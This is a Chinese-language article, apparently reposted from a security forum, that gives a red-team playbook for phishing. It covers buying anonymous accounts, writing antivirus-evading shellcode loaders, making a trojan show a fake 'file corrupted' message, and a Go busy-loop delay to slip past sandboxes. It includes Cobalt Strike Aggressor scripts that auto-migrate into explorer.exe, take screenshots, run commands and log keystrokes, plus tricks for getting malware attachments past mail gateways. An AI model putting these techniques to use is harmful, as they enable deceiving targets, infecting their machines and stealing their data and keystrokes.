文章首发:https://xz.aliyun.com/t/12879?
文章作者:抹布
前言
穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。
社交账号
准备一些社交账号,如微信、QQ、脉脉、BOSS直聘、猎聘,手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册,如果你有匿名的渠道购买更好。
邮箱方面,一般常用QQ邮箱、163邮箱,这些目前还是有渠道可以购买的,没钱或者担心购买不可靠,跟身边亲朋好友借也行。
免杀马
免杀的马子是必备的,如果你是和我一样的免杀弟弟,我推荐先学习shellcode loader的一些编写思路ShellcodeLoader
基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存
申请内存:VirtualAlloc
载入内存:memcpy
执行内存:CreateThread WaitForSingleObject针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。
主要还是查文档自己多动手,学完就算不会写免杀马,改改别人GitHub的马子,过国内360火绒基本没问题,然后就是研究下捆绑exe释放正常文件,搞不懂直接给马子弹个框文件已损坏,无法打开也行,不然经常出现对方问你这文件怎么打不开...
平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,进行修改增加签名功能。360QVM_bypass-public
bypass沙箱
为了延长马子存活时间,基本的沙箱对抗少不了,毕竟有防守人员的话,你投递的木马基本都得沙箱走一走,以微步沙箱为例,最简单的循环打印。
使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。
//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
func add() {
start := time.Now() //获取当前时间
//1000000 1m2.793228s
sum, i := 0, 1
for i < 1000000 {
fmt.Println(i)
sum += i
i++
}
elapsed := time.Since(start)
fmt.Println("该函数执行完成耗时:", elapsed)
}
将如上代码放在shellcode执行前就行。
信息收集
思维导图如下,每个人都有自己的思路,我就简单讲解几个。
零零信安直接搜索公司名称,得到一些邮箱地址
拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。
如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式
C2搭建准备
常用的就cs,基本的套层CDN然后c2上线端口反代下,这里我会用到cs插件脚本
PushPlus2
常用的就是上线提醒、自动迁移进程
#自动迁移进程
sub callback{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
# 要迁移的进程
$listener = "ecloud";
# 监听器名字,此处为ecloud,记得修改为自己的
if ($2 ismatch $regex){
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1){
$arch = "x64";
}
else{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid")){
bps($1, &callback);
}
还有上线自动截图功能,就算目标掉了起码还有张图证明上线过
#只截一张图
#binput($1, "screenshot");
#bscreenshot($1);
#连续截图
binput($1, "screenwatch");
bscreenwatch($1);
其他的上线自动执行shell命令、键盘记录看自己需求吧
#执行自定义cmd命令
bshell($1, "ipconfig /all");
#键盘记录
bkeylogger($1);
还有其他需求可以去翻翻文档Aggressor Script
如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务,可以考虑下写个cs脚本上线自动bypass uac,加权限维持。
邮件网关/沙箱
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。
针对正文
不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。针对附件
文件名加密,解压密码写在附件名上。
开钓
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。
上线后的操作
参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)
总结
本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。
参考
360QVM_bypass
ShellcodeLoader
分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)